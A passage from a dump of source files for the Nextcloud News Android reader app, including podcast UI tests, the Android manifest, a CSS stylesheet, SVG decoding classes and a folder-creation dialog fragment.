nrdf.getRecyclerView().getChildViewHolder(nrdf.getRecyclerView().getLayoutManager().findViewByPosition(itemPos));\n            na.changeReadStateOfItem(vh, false);\n        });\n    }\n\n\n\n\n    @Test\n    public void testAudioPodcast() {\n        mActivity.runOnUiThread(() -> {\n            openDrawer();\n            //nrlf.getListView().expandGroup(podcastGroupPosition);\n            //openFeed(podcastGroupPosition, 0);\n            openFeed(2, 1); // Open Android Podcast\n        });\n\n        try {\n            Thread.sleep(1000);\n        } catch (InterruptedException e) {\n            e.printStackTrace();\n        }\n\n        //Screengrab.screenshot(\"podcast_list\");\n\n        mActivity.runOnUiThread(() -> {\n            RssItemViewHolder vh = (RssItemViewHolder) nrdf.getRecyclerView().getChildViewHolder(nrdf.getRecyclerView().getLayoutManager().findViewByPosition(0));\n            PodcastItem podcastItem = DatabaseConnectionOrm.ParsePodcastItemFromRssItem(mActivity, vh.getRssItem());\n            mActivity.openMediaItem(podcastItem);\n        });\n\n\n        try {\n            Thread.sleep(10000);\n        } catch (InterruptedException e) {\n            e.printStackTrace();\n        }\n\n        Screengrab.screenshot(\"podcast_running\");\n\n\n        mActivity.runOnUiThread(() -> mActivity.pausePodcast());\n\n\n        try {\n            Thread.sleep(1000);\n        } catch (InterruptedException e) {\n            e.printStackTrace();\n        }\n    }\n\n\n\n    @Test\n    public void testVideoPodcast() {\n        mActivity.runOnUiThread(() -> {\n            //Set url to mock\n            nrlf.bindUserInfoToUI();\n\n            openDrawer();\n            //openFeed(0, 13); //Click on ARD Podcast\n            openFeed(7, -1);\n        });\n\n        try {\n            Thread.sleep(1000);\n        } catch (InterruptedException e) {\n            e.printStackTrace();\n        }\n\n        mActivity.runOnUiThread(() -> {\n            RssItemViewHolder vh = (RssItemViewHolder) nrdf.getRecyclerView().getChildViewHolder(nrdf.getRecyclerView().getLayoutManager().findViewByPosition(1));\n            PodcastItem podcastItem = DatabaseConnectionOrm.ParsePodcastItemFromRssItem(mActivity, vh.getRssItem());\n            mActivity.openMediaItem(podcastItem);\n        });\n\n\n        try {\n            Thread.sleep(15000);\n        } catch (InterruptedException e) {\n            e.printStackTrace();\n        }\n\n\n        Screengrab.screenshot(\"video_podcast_running\");\n\n        mActivity.runOnUiThread(() -> mActivity.pausePodcast());\n\n\n        try {\n            Thread.sleep(1000);\n        } catch (InterruptedException e) {\n            e.printStackTrace();\n        }\n    }\n\n    private void openFeed(int groupPosition, int childPosition) {\n        nrlf.onChildClickListener.onChildClick(null, null, groupPosition, childPosition, 0); //Click on ARD Podcast\n    }\n\n    private void openDrawer() {\n        if(mActivity.binding.drawerLayout != null) {\n            mActivity.binding.drawerLayout.openDrawer(GravityCompat.START, true);\n        }\n    }\n\n    private void closeDrawer() {\n        if(mActivity.binding.drawerLayout != null) {\n            mActivity.binding.drawerLayout.closeDrawer(GravityCompat.START, true);\n        }\n    }\n}\n"
  },
  {
    "path": "News-Android-App/src/dev/res/drawable/ic_launcher_foreground.xml",
    "content": "<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<vector xmlns:android=\"http://schemas.android.com/apk/res/android\"\n    android:width=\"108dp\"\n    android:height=\"108dp\"\n    android:viewportWidth=\"872.78925\"\n    android:viewportHeight=\"872.78925\">\n    <group\n        android:translateX=\"180.394635\"\n        android:translateY=\"180.394635\">\n        <path\n            android:fillColor=\"#ffffff\"\n            android:pathData=\"M100.929,89C94.32,89 89,94.32 89,100.929v23.857c0,6.608 5.32,11.929 11.929,11.929h310.143c6.608,0 11.929,-5.32 11.929,-11.929L423,100.929C423,94.32 417.68,89 411.071,89L100.929,89zM100.929,184.429C94.32,184.429 89,189.749 89,196.357v23.857c0,6.608 5.32,11.929 11.929,11.929h214.714c6.608,0 11.929,-5.32 11.929,-11.929v-23.857c0,-6.608 -5.32,-11.929 -11.929,-11.929L100.929,184.429zM100.929,279.857C94.32,279.857 89,285.177 89,291.786v23.857c0,6.608 5.32,11.929 11.929,11.929h286.286c6.608,0 11.929,-5.32 11.929,-11.929v-23.857c0,-6.608 -5.32,-11.929 -11.929,-11.929L100.929,279.857zM100.929,375.286C94.32,375.286 89,380.606 89,387.214v23.857C89,417.68 94.32,423 100.929,423L244.071,423C250.68,423 256,417.68 256,411.071v-23.857c0,-6.608 -5.32,-11.929 -11.929,-11.929L100.929,375.286z\" />\n    </group>\n    <group\n        android:scaleX=\"2.6\"\n        android:scaleY=\"3\"\n        android:translateX=\"440\"\n        android:translateY=\"520\">\n        <path\n            android:fillColor=\"#ffffff\"\n            android:pathData=\"M11.908125 40h11.4c4.44 0 7.24 -1.04 9.2 -3.4 2.32 -2.72 3.56 -6.68 3.56 -11.2 0 -4.48 -1.24 -8.44 -3.56 -11.2 -1.96 -2.36 -4.72 -3.36 -9.2 -3.36h-11.4zm6 -5V15.84h5.4c4.52 0 6.76 3.16 6.76 9.6 0 6.4 -2.24 9.56 -6.76 9.56z\" />\n        <path\n            android:fillColor=\"#ffffff\"\n            android:pathData=\"M46.894375 27.44h13.96v-5h-13.96v-6.6h15.08v-5h-21.08V40h21.8v-5h-15.8z\" />\n        <path\n            android:fillColor=\"#ffffff\"\n            android:pathData=\"M80.333125 40l10 -29.16h-6.04l-6.36 21.96 -6.48 -21.96h-6.04l9.84 29.16z\" />\n    </group>\n</vector>"
  },
  {
    "path": "News-Android-App/src/dev/res/values/strings.xml",
    "content": "<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<resources>\n    <string name=\"app_name\" translatable=\"false\">News Dev</string>\n    <string name=\"account_type\" translatable=\"false\">de.luhmer.owncloudnewsreader.dev</string>\n    <string name=\"authority\" translatable=\"false\">de.luhmer.owncloudnewsreader.dev</string>\n</resources>\n"
  },
  {
    "path": "News-Android-App/src/main/AndroidManifest.xml",
    "content": "<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<manifest xmlns:android=\"http://schemas.android.com/apk/res/android\"\n    xmlns:tools=\"http://schemas.android.com/tools\"\n    android:installLocation=\"internalOnly\">\n\n    <uses-permission android:name=\"android.permission.POST_NOTIFICATIONS\" />\n    <uses-permission android:name=\"android.permission.WAKE_LOCK\" />\n    <uses-permission android:name=\"android.permission.INTERNET\" />\n    <uses-permission android:name=\"android.permission.WRITE_EXTERNAL_STORAGE\" />\n    <uses-permission android:name=\"android.permission.ACCESS_NETWORK_STATE\" />\n    <uses-permission android:name=\"android.permission.READ_PHONE_STATE\" />\n    <uses-permission android:name=\"android.permission.READ_SYNC_SETTINGS\" />\n    <uses-permission android:name=\"android.permission.WRITE_SYNC_SETTINGS\" />\n    <uses-permission\n        android:name=\"android.permission.AUTHENTICATE_ACCOUNTS\"\n        android:maxSdkVersion=\"22\" />\n    <!-- <uses-permission android:name=\"android.permission.MEDIA_CONTENT_CONTROL\" /> -->\n    <uses-permission android:name=\"android.permission.FOREGROUND_SERVICE\" />\n\t<uses-permission android:name=\"android.permission.FOREGROUND_SERVICE_MEDIA_PLAYBACK\" />\n\n    <application\n        android:name=\".NewsReaderApplication\"\n        android:allowBackup=\"true\"\n        android:enableOnBackInvokedCallback=\"true\"\n        android:icon=\"@mipmap/ic_launcher\"\n        android:label=\"@string/app_name\"\n        android:roundIcon=\"@mipmap/ic_launcher_round\"\n        android:supportsRtl=\"true\"\n        android:theme=\"@style/AppTheme\"\n        android:usesCleartextTraffic=\"true\"\n        tools:replace=\"android:icon, android:label, android:theme, android:name\">\n\n        <meta-data android:name=\"com.google.android.gms.car.application\"\n            android:resource=\"@xml/automotive_app_desc\"/>\n        <meta-data android:name=\"com.google.android.gms.car.notification.SmallIcon\"\n            android:resource=\"@drawable/ic_notification\" />\n\n        <activity\n            android:name=\".NewsReaderListActivity\"\n            android:exported=\"true\"\n            android:theme=\"@style/SplashTheme\"\n            android:label=\"@string/app_name\">\n            <intent-filter>\n                <action android:name=\"android.intent.action.MAIN\" />\n                <category android:name=\"android.intent.category.LAUNCHER\" />\n            </intent-filter>\n\n            <!-- Use this intent filter to get voice searches -->\n            <intent-filter>\n                <action android:name=\"android.media.action.MEDIA_PLAY_FROM_SEARCH\" />\n                <category android:name=\"android.intent.category.DEFAULT\" />\n            </intent-filter>\n        </activity> <!-- android:configChanges=\"keyboardHidden|orientation|screenSize\" -->\n\n        <activity android:name=\".NewsDetailActivity\"\n            android:exported=\"false\" />\n\n        <activity android:name=\".PiPVideoPlaybackActivity\"\n            android:resizeableActivity=\"true\"\n            android:supportsPictureInPicture=\"true\"\n            android:launchMode=\"singleTask\"\n            android:taskAffinity=\"de.luhmer.owncloudnewsreader.pip\"\n            android:autoRemoveFromRecents=\"true\"\n            android:excludeFromRecents=\"true\"\n            android:exported=\"false\"\n            tools:targetApi=\"n\"\n            android:configChanges=\"screenSize|smallestScreenSize|screenLayout|orientation\" />\n\n        <activity\n            android:name=\".SettingsActivity\"\n            android:configChanges=\"keyboardHidden|orientation|screenSize\"\n            android:label=\"@string/title_activity_settings\"\n            android:exported=\"true\">\n        <intent-filter>\n            <action android:name=\"de.luhmer.owncloudnewsreader.ACCOUNT_MANAGER_ENTRY\" />\n            <category android:name=\"android.intent.category.DEFAULT\" />\n        </intent-filter>\n        </activity>\n        <activity\n            android:name=\".LoginDialogActivity\"\n            android:exported=\"false\"\n            android:label=\"@string/action_sign_in_short\" />\n        <activity\n            android:name=\".NewFeedActivity\"\n            android:label=\"@string/title_activity_new_feed\"\n            android:exported=\"true\"\n            android:launchMode=\"singleTop\"\n            android:windowSoftInputMode=\"adjustResize|stateVisible\">\n            <intent-filter>\n                <action android:name=\"android.intent.action.VIEW\" />\n\n                <category android:name=\"android.intent.category.BROWSABLE\" />\n                <category android:name=\"android.intent.category.DEFAULT\" />\n\n                <data\n                    android:host=\"*\"\n                    android:pathPattern=\".*xml\"\n                    android:scheme=\"https\" />\n                <data\n                    android:host=\"*\"\n                    android:pathPattern=\".*rss\"\n                    android:scheme=\"https\" />\n                <data\n                    android:host=\"*\"\n                    android:pathPattern=\".*rss.*\"\n                    android:scheme=\"https\" />\n                <data\n                    android:host=\"*\"\n                    android:pathPattern=\".*RSS.*\"\n                    android:scheme=\"https\" />\n                <data\n                    android:host=\"*\"\n                    android:pathPattern=\".*feed.*\"\n                    android:scheme=\"https\" />\n                <data\n                    android:host=\"*\"\n                    android:pathPattern=\".*atom.xml\"\n                    android:scheme=\"https\" />\n                <data\n                    android:host=\"*\"\n                    android:pathPattern=\".*rss.xml\"\n                    android:scheme=\"https\" />\n                <data\n                    android:host=\"*\"\n                    android:pathPattern=\".*\\\\.rss\"\n                    android:scheme=\"https\" />\n\n                <data\n                    android:host=\"*\"\n                    android:pathPattern=\".*\\\\.opml\"\n                    android:scheme=\"http\" />\n                <data\n                    android:host=\"*\"\n                    android:pathPattern=\".*\\\\.opml\"\n                    android:scheme=\"https\" />\n                <data\n                    android:host=\"*\"\n                    android:pathPattern=\".*\\\\.opml\"\n                    android:scheme=\"content\" />\n                <data\n                    android:host=\"*\"\n                    android:pathPattern=\".*\\\\.opml\"\n                    android:scheme=\"file\" />\n            </intent-filter>\n            <intent-filter>\n                <action android:name=\"android.intent.action.SEND\" />\n\n                <category android:name=\"android.intent.category.DEFAULT\" />\n\n                <data android:mimeType=\"text/plain\" />\n            </intent-filter>\n        </activity>\n        <activity android:name=\".DirectoryChooserActivity\" android:exported=\"false\" />\n\n\n        <!--\n\t\t**********************************************************************\n\t\t* Sync Adapter and Service\n\t\t**********************************************************************\n        -->\n\n        <service\n            android:name=\".services.DownloadImagesService\"\n            android:permission=\"android.permission.BIND_JOB_SERVICE\" />\n        <service\n            android:name=\".services.SyncItemStateService\"\n            android:permission=\"android.permission.BIND_JOB_SERVICE\" />\n        <service\n            android:name=\".services.OwnCloudAuthenticatorService\"\n            android:exported=\"true\">\n            <intent-filter>\n                <action android:name=\"android.accounts.AccountAuthenticator\" />\n            </intent-filter>\n\n            <meta-data\n                android:name=\"android.accounts.AccountAuthenticator\"\n                android:resource=\"@xml/authenticator\" />\n        </service>\n        <service\n            android:name=\".services.OwnCloudSyncService\"\n            android:exported=\"true\">\n            <intent-filter>\n                <action android:name=\"android.content.SyncAdapter\" />\n            </intent-filter>\n\n            <meta-data\n                android:name=\"android.content.SyncAdapter\"\n                android:resource=\"@xml/syncadapter\" />\n        </service>\n\n        <provider\n            android:name=\".providers.OwnCloudSyncProvider\"\n            android:authorities=\"@string/authority\"\n            android:label=\"@string/auto_sync_string\"\n            android:syncable=\"true\" />\n        <provider\n            android:name=\"androidx.core.content.FileProvider\"\n            android:authorities=\"${applicationId}.provider\"\n            android:exported=\"false\"\n            android:grantUriPermissions=\"true\">\n            <meta-data\n                android:name=\"android.support.FILE_PROVIDER_PATHS\"\n                android:resource=\"@xml/file_provider_paths\" />\n        </provider>\n\n        <!-- android:theme=\"@style/Theme.Transparent\" > -->\n        <!-- </activity> -->\n\n        <service\n            android:name=\".services.DownloadWebPageService\"\n            android:permission=\"android.permission.BIND_JOB_SERVICE\"\n            android:process=\":downloadWebPageProcess\" />\n\n        <receiver\n            android:name=\".helper.NotificationActionReceiverDownloadWebPage\"\n            android:exported=\"false\"\n            android:process=\":downloadWebPageProcess\">\n            <intent-filter>\n                <action android:name=\"YES_ACTION\" />\n                <action android:name=\"STOP_ACTION\" />\n            </intent-filter>\n        </receiver>\n\n        <receiver\n            android:name=\".helper.NotificationActionReceiver\"\n            android:exported=\"false\">\n            <intent-filter>\n                <action android:name=\"NOTIFICATION_MARK_ALL_AS_READ\" />\n            </intent-filter>\n        </receiver>\n\n        <!--\n        **********************************************************************\n        * Widget Provider Receiver\n        **********************************************************************\n        -->\n        <receiver\n            android:name=\".widget.WidgetProvider\"\n            android:exported=\"true\">\n            <intent-filter>\n                <action android:name=\"android.appwidget.action.APPWIDGET_UPDATE\" />\n            </intent-filter>\n\n            <meta-data\n                android:name=\"android.appwidget.provider\"\n                android:resource=\"@xml/widget_info\" />\n        </receiver>\n\n        <service\n            android:name=\".widget.WidgetService\"\n            android:exported=\"false\"\n            android:permission=\"android.permission.BIND_REMOTEVIEWS\" />\n\n        <!--\n        **********************************************************************\n        * Podcast\n        **********************************************************************\n        -->\n        <service\n            android:name=\".services.PodcastPlaybackService\"\n\t\t\tandroid:foregroundServiceType=\"mediaPlayback\"\n\t\t\tandroid:enabled=\"true\"\n            android:exported=\"true\">\n            <intent-filter>\n               <action android:name=\"android.media.browse.MediaBrowserService\" />\n            </intent-filter>\n        </service> <!-- android:process=\":podcastPlaybackService\" -->\n\n        <receiver\n            android:name=\"androidx.media.session.MediaButtonReceiver\"\n            android:exported=\"true\">\n            <intent-filter>\n                <action android:name=\"android.intent.action.MEDIA_BUTTON\" />\n                <action android:name=\"android.media.AUDIO_BECOMING_NOISY\" />\n            </intent-filter>\n        </receiver>\n\n        <service\n            android:name=\".services.PodcastDownloadService\"\n            android:exported=\"false\" />\n\n        <!--\n        **********************************************************************\n        * Chrome-Custom Tabs\n        **********************************************************************\n        -->\n        <service\n            android:name=\".chrometabs.KeepAliveService\"\n            android:exported=\"true\"\n            android:process=\":remote\" />\n    </application>\n\n</manifest>"
  },
  {
    "path": "News-Android-App/src/main/assets/web.css",
    "content": ":root {\n    --fontsize-body: 1.1em;\n    --fontsize-header: 1.1em;\n    --fontsize-subscript: 0.7em;\n}\n\n/*\n@font-face {\n    font-family: \"ROBOTO_REGULAR\";\n    src: url('fonts/Roboto-Regular.ttf');\n}\n*/\n\nbody.lightTheme {\n    background-color:\t#ffffff;\n    color:\t\t\t\tblack;\n}\n\nbody.darkThemeOLED {\n    background-color:   #000;\n    color:              #eee;\n}\n\nbody.darkThemeOLED a:link {\n\tcolor:              #0289ff;\n}\n\nbody.darkThemeOLED a:visited {\n    color:              #cd4fff;\n}\n\nbody.darkTheme {\n    background-color:   #121212;\n    color:              #ffffff;\n}\n\nbody.lightTheme a:link,\nbody.lightTheme a:active,\nbody.lightTheme a:hover {\n    color: #333 !important;\n}\nbody.lightTheme a:visited {\n    color: #000 !important;\n}\nbody.darkTheme a:link,\nbody.darkTheme a:active,\nbody.darkTheme a:hover {\n    color: #dadada !important;\n}\nbody#darkTheme a:visited {\n    color: #aeaeae !important;\n}\n\n\n/* For debugging */\n/*\n* {\n    border: 1px solid #F00;\n}\n*/\n\nbody, blockquote, img, iframe, video, div, table, tbody, tr, td, pre, code, blockquote, p, em, b, span {\n    width:      auto !important;\n    height:     auto !important;\n    max-width:  100% !important;\n}\n\nbody {\n    font-size:    var(--fontsize-body);\n    font-weight:  normal;\n    margin:       0px;\n    word-wrap:    break-word !important;\n    /* font-family:  'ROBOTO_REGULAR'; */\n\n    margin-left:  1rem;\n    margin-right: 1rem;\n}\n\nbody iframe:not([src]) {\n    display: none;\n}\n\nimg {\n    /* make images fill the whole screen */\n    max-width:   calc(100% + 2rem) !important;\n    margin-left: -1rem !important;\n}\n\ndiv#content > p {\n    margin-top: 0px;\n}\n\n\npre {\n    background-color: #f7f7f7;\n    padding: 5px;\n    border-radius: 3px;\n}\n\nbody.darkTheme pre {\n    background-color: #313131;\n}\n\nbody.darkThemeOLED pre {\n    background-color: #000;\n}\n\npre span {\n    /* fix for https://github.com/nextcloud/news-android/issues/798 */\n    display: initial;\n}\n\npre, code, blockquote, p, em, b {\n    white-space:\t-moz-pre-wrap\t!important;\n    white-space:\t-pre-wrap\t\t!important;\n    white-space:\t-o-pre-wrap\t\t!important;\n    white-space:\tpre-wrap\t\t!important;\n    word-wrap: \t\tbreak-word\t\t!important;\n}\n\nblockquote {\n    white-space:pre-line !important;\n    padding-left: 10px;\n    border-left: 3px solid #ccc;\n}\n\na {\n    margin-left:    auto !important;\n    margin-right:   auto !important;\n}\n\n#content table {\n    width: 100% !important;\n\n    /* https://www.w3schools.com/cssref/pr_tab_table-layout.asp */\n    table-layout: fixed !important;\n}\n\n#header {\n    font-size:      var(--fontsize-header);\n    margin-bottom:  10px;\n    font-weight:    bold;\n    line-height:    1.6;\n}\n\n#header a:link,\n#header a:active,\n#header a:hover,\n#header a:visited {\n    color:           #000000 !important;\n    text-decoration: none !important;\n}\n\n#header.darkTheme a:link,\n#header.darkTheme a:active,\n#header.darkTheme a:hover,\n#header.darkTheme a:visited {\n    color: #ffffff !important;\n}\n\n#header.darkThemeOLED a:link,\n#header.darkThemeOLED a:active,\n#header.darkThemeOLED a:hover,\n#header.darkThemeOLED a:visited {\n    color: #ffffff !important;\n}\n\n\nul {\n    /* We use custom list style for Unordered Lists */\n    list-style: none;\n    /* For the first level we should not have padding */\n    padding: 0px;\n}\nol {\n    /* ol items already have an intrinsic padding (the number in front has a negativ padding) */\n    padding-left: 22px;\n}\n\n/* Nested lists should be indented a little */\nul li ul,\nul li ol,\nol li ul,\nol li ol {\n    padding-left: 14px;\n}\n\nul li:before {\n    vertical-align: 18%;\n    margin-right: 10px;\n    border-style: solid;\n\tborder-width: 0.10em 0.10em 0 0;\n\tcontent: '';\n\tdisplay: inline-block;\n\theight: 0.3em;\n\tleft: 0.15em;\n\tposition: relative;\n\ttop: 0.15em;\n\ttransform: rotate(45deg);\n\twidth: 0.3em;\n    /*\n    <link href=\"https://fonts.googleapis.com/icon?family=Material+Icons\" rel=\"stylesheet\">\n    vertical-align: -10%;\n    font-family: \"Material Icons\";\n    content: \"\\e5cc\";\n    */\n}\n\n#subscription {\n    display: flex;\n}\n\n#subscription span {\n    line-height: 16px;\n    display: inline-flex;\n    align-items: center;\n}\n\n#subscription, #datetime {\n    margin-bottom:3px;\n    font-size: var(--fontsize-subscript);\n}\n\n\n#header_small_text {\n    display: flex;\n    justify-content: space-between;\n    overflow: auto;\n    flex-direction: row;\n}\n\n#header_small_text {\n    color: #9E9E9E;\n}\n\n#top_section {\n    margin-top:    1rem;\n}\n\n#content {\n    margin-top:     0.6rem;\n    margin-bottom:  100px;\n    line-height:    1.5em !important;\n}\n\nh1 {\n    line-height: 1em !important;\n}\n\n#imgFavicon {\n    margin-right: 4px;\n    vertical-align:middle;\n    margin-bottom:2px;\n    margin-left: 0px !important;\n    width:16px !important;\n    height:16px !important;\n}\n.rtl #imgFavicon {\n    margin-right: 0 !important;\n    margin-left: 4px !important;\n}\n"
  },
  {
    "path": "News-Android-App/src/main/java/com/bumptech/glide/samples/svg/SvgDecoder.kt",
    "content": "package com.bumptech.glide.samples.svg\n\nimport com.bumptech.glide.load.Options\nimport com.bumptech.glide.load.ResourceDecoder\nimport com.bumptech.glide.load.engine.Resource\nimport com.bumptech.glide.load.resource.SimpleResource\nimport com.bumptech.glide.request.target.Target\nimport com.caverock.androidsvg.SVG\nimport com.caverock.androidsvg.SVGParseException\nimport java.io.IOException\nimport java.io.InputStream\n\n/**\n * Decodes an SVG internal representation from an [InputStream].\n */\nclass SvgDecoder : ResourceDecoder<InputStream, SVG> {\n    override fun handles(\n        source: InputStream,\n        options: Options,\n    ): Boolean = true\n\n    @Throws(IOException::class)\n    override fun decode(\n        source: InputStream,\n        width: Int,\n        height: Int,\n        options: Options,\n    ): Resource<SVG>? =\n        try {\n            val svg = SVG.getFromInputStream(source)\n            if (width != Target.SIZE_ORIGINAL) {\n                svg.documentWidth = width.toFloat()\n            }\n            if (height != Target.SIZE_ORIGINAL) {\n                svg.documentHeight = height.toFloat()\n            }\n            SimpleResource(svg)\n        } catch (ex: SVGParseException) {\n            throw IOException(\"Cannot load SVG from stream\", ex)\n        }\n}\n"
  },
  {
    "path": "News-Android-App/src/main/java/com/bumptech/glide/samples/svg/SvgDrawableTranscoder.kt",
    "content": "package com.bumptech.glide.samples.svg\n\nimport android.graphics.Picture\nimport android.graphics.drawable.PictureDrawable\nimport com.bumptech.glide.load.Options\nimport com.bumptech.glide.load.engine.Resource\nimport com.bumptech.glide.load.resource.SimpleResource\nimport com.bumptech.glide.load.resource.transcode.ResourceTranscoder\nimport com.caverock.androidsvg.SVG\n\n/**\n * Convert the [SVG]'s internal representation to an Android-compatible one ([Picture]).\n */\nclass SvgDrawableTranscoder : ResourceTranscoder<SVG, PictureDrawable> {\n    override fun transcode(\n        toTranscode: Resource<SVG>,\n        options: Options,\n    ): Resource<PictureDrawable> {\n        val svg = toTranscode.get()\n        val picture = svg.renderToPicture()\n        val drawable = PictureDrawable(picture)\n        return SimpleResource(drawable)\n    }\n}\n"
  },
  {
    "path": "News-Android-App/src/main/java/de/luhmer/owncloudnewsreader/AddFolderDialogFragment.java",
    "content": "package de.luhmer.owncloudnewsreader;\n\nimport android.animation.AnimatorListenerAdapter;\nimport android.app.Activity;\nimport android.content.Context;\nimport android.os.Bundle;\nimport android.text.Editable;\nimport android.text.TextWatcher;\nimport android.view.LayoutInflater;\nimport android.view.View;\nimport android.view.ViewGroup;\nimport android.widget.Toast;\n\nimport androidx.annotation.NonNull;\nimport androidx.fragment.app.DialogFragment;\n\nimport java.util.HashMap;\nimport java.util.Map;\n\nimport javax.inject.Inject;\n\nimport de.luhmer.owncloudnewsreader.database.DatabaseConnectionOrm;\nimport de.luhmer.owncloudnewsreader.databinding.FragmentDialogAddFolderBinding;\nimport de.luhmer.owncloudnewsreader.di.ApiProvider;\nimport io.reactivex.rxjava3.android.schedulers.AndroidSchedulers;\nimport io.reactivex.rxjava3.schedulers.Schedulers;\n\n\npublic class AddFolderDialogFragment extends DialogFragment {\n\n    protected @Inject ApiProvider mApi;\n    private NewsReaderListActivity parentActivity;\n    protected FragmentDialogAddFolderBinding binding;\n\n    static AddFolderDialogFragment newInstance() {\n        AddFolderDialogFragment f = new AddFolderDialogFragment();\n\n        Bundle args = new Bundle();\n\n        f.setArguments(args);\n        return f;\n    }\n\n\n    @Override\n    public void onCreate(Bundle savedInstanceState) {\n        super.onCreate(savedInstanceState);\n        ((NewsReaderApplication) requireActivity().getApplication()).getAppComponent().injectFragment(this);\n\n        setStyle(DialogFragment.STYLE_NO_TITLE, R.style.FloatingDialog);\n    }\n\n\n    @Override\n    public View onCreateView(@NonNull LayoutInflater inflater, ViewGroup container,\n                             Bundle savedInstanceState) {\n\n        binding = FragmentDialogAddFolderBinding.inflate(inflater, container, false);\n\n        binding.buttonAddConfirm.setEnabled(false);\n        binding.buttonAddCancel.setOnClickListener(v -> dismiss());\n\n        binding.folderNameInput.addTextChangedListener(new TextWatcher() {\n            @Override\n            public void afterTextChanged(Editable s) {}\n\n            @Override\n            public void beforeTextChanged(CharSequence s, int start, int count, int after) {}\n\n            @Override\n            public void onTextChanged(CharSequence s, int start, int before, int count) {\n                binding.buttonAddConfirm.setEnabled(s.length() != 0);\n                binding.folderNameInput.setError(null);\n            }\n        });\n\n        binding.buttonAddConfirm.setOnClickListener(v -> {\n            String name = binding.folderNameInput.getText().toString();\n            DatabaseConnectionOrm dbConn = new DatabaseConnectionOrm(getContext());\n            boolean alreadyExists = dbConn.getFolderByLabel(name) != null;\n            if (alreadyExists) {\n                binding.folderNameInput.setError(getString(R.string.folder_already_exists));\n                return;\n            }\n\n            showProgress(true);\n            setCancelable(false);\n            getDialog().setCanceledOnTouchOutside(false);\n\n            Map<String, Object> paramMap = new HashMap<>(0);\n            paramMap.put(\"name\", name);\n            mApi.getNewsAPI().createFolderObservable(paramMap)\n                    .subscribeOn(Schedulers.newThread())\n                    .observeOn(AndroidSchedulers.mainThread())\n                    .subscribe(folders -> {\n                        dbConn.insertNewFolders(folders);\n                        parentActivity.getSlidingListFragment().reloadAdapter();\n                        parentActivity.startSync();\n                        dismiss();\n                    }, throwable -> {\n                        Context context = getContext();\n                        if (context == null) {\n                            return;\n                        }\n                        Toast.makeText(context.getApplicationContext(), getString(R.string.login_dialog_text_something_went_wrong) + \" - \" + throwable.getMessage(), Toast.LENGTH_LONG).show();\n                        dismiss();\n                    });\n        });\n\n        return binding.getRoot();\n    }\n\n\n    public void setActivity(Activity parentActivity) {\n        this.parentActivity =  (NewsReaderListActivity)parentActivity;\n    }\n\n\n    public void showProgress(final boolean show) {\n        int shortAnimTime = getResources().getInteger(android.R.integer.config_shortAnimTime);\n\n        binding.folderNameInput.setVisibility(show ? View.GONE : View.VISIBLE);\n        binding.buttonAddConfirm.setEnabled(!show);\n\n        binding.progressView.setVisibility(show ? View.VISIBLE : View.GONE);\n        binding.progressView.animate().setDuration(shortAnimTime)\n                .alpha(show ? 1 : 0).setListener(new AnimatorListenerAdapter() {});\n    }\n}\n"
  },
  {
    "path": "News-Android-App/src/main/java/de/luhmer/owncloudnewsreader/Constants.java",
    "content": "package de.luhmer.owncloudnewsreader;\n\nimport android.content.SharedPreferences;\n\nimport java.util.regex.Matcher;\nimport java.util.regex.Pattern;\n\npublic class Constants {\n\tpublic static final Boolean debugModeWidget = false;\n\n    public static final int maxItemsCount = 5000;\n    public static final String LAST_UPDATE_NEW_ITEMS_COUNT_STRING = \"LAST_UPDATE_NEW_ITEMS_COUNT_STRING\";\n    public static final String NOTIFICATION_ACTION_STOP_STRING = \"NOTIFICATION_STOP\";\n    public static final String NOTIFICATION_ACTION_MARK_ALL_AS_READ_STRING = \"NOTIFICATION_MARK_ALL_AS_READ\";\n    protected static final String NEWS_WEB_VERSION_NUMBER_STRING = \"NewsWebVersionNumber\";\n\n    protected static final int MIN_NEXTCLOUD_FILES_APP_VERSION_CODE = 30030052;\n\n    public static final String USER_INFO_STRING = \"USER_INFO\";\n\n    public static final String PREVIOUS_VERSION_CODE = \"PREVIOUS_VERSION_CODE\";\n\n    protected static boolean isNextCloud(SharedPreferences prefs) {\n        int[] version = extractVersionNumberFromString(prefs.getString(Constants.NEWS_WEB_VERSION_NUMBER_STRING, \"\"));\n        if (version[0] == 0) {\n            // not initialized yet..\n            return true; // let's assume that it is nextcloud..\n        }\n        return version[0] >= 9;\n    }\n\n    private static int[] extractVersionNumberFromString(String appVersion) {\n        Pattern p = Pattern.compile(\"(\\\\d+).(\\\\d+).(\\\\d+)\");\n        Matcher m = p.matcher(appVersion);\n\n        int[] version = new int[] { 0, 0, 0 };\n        if (m.matches()) {\n            version[0] = Integer.parseInt(m.group(1));\n            version[1] = Integer.parseInt(m.group(2));\n            version[2] = Integer.parseInt(m.group(3));\n        }\n        return version;\n    }\n}\n"
  },
  {
    "path": "News-Android-App/src/main/java/de/luhmer/owncloudnewsreader/DirectoryChooserActivity.java",
    "content": "package de.luhmer.owncloudnewsreader;\n\nimport android.os.Bundle;\nimport androidx.annotation.Nullable;\n\n/**\n * Created by benson on 11/20/15.\n */\npublic class DirectoryChooserActivity extends net.rdrei.android.dirchooser.DirectoryChooserActivity {\n\n    @Override\n    public void onCreate(@Nullable Bundle savedInstanceState) {\n        super.onCreate(savedInstanceState);\n        int theme = R.style.AppTheme;\n        setTheme(theme);\n    }\n}\n\n"
  },
  {
    "path": "News-Android-App/src/main/java/de/luhmer/owncloudnewsreader/FolderOptionsDialogFragment.java",
    "content": "package de.luhmer.owncloudnewsreader;\n\nimport android.animation.AnimatorListenerAdapter;\nimport android.app.Activity;\nimport android.content.Context;\nimport android.os.Bundle;\nimport android.text.Editable;\nimport android.text.TextWatcher;\nimport android.view.LayoutInflater;\nimport android.view.View;\nimport android.view.ViewGroup;\nimport android.widget.ArrayAdapter;\nimport android.widget.Toast;\n\nimport androidx.fragment.app.DialogFragment;\n\nimport java.util.ArrayList;\nimport java.util.LinkedHashMap;\nimport java.util.List;\nimport java.util.Map;\n\nimport javax.inject.Inject;\n\nimport de.luhmer.owncloudnewsreader.database.DatabaseConnectionOrm;\nimport de.luhmer.owncloudnewsreader.database.model.Feed;\nimport de.luhmer.owncloudnewsreader.databinding.FragmentDialogFolderoptionsBinding;\nimport de.luhmer.owncloudnewsreader.di.ApiProvider;\nimport de.luhmer.owncloudnewsreader.reader.nextcloud.NewsAPI;\nimport io.reactivex.rxjava3.android.schedulers.AndroidSchedulers;\nimport io.reactivex.rxjava3.annotations.NonNull;\nimport io.reactivex.rxjava3.core.Completable;\nimport 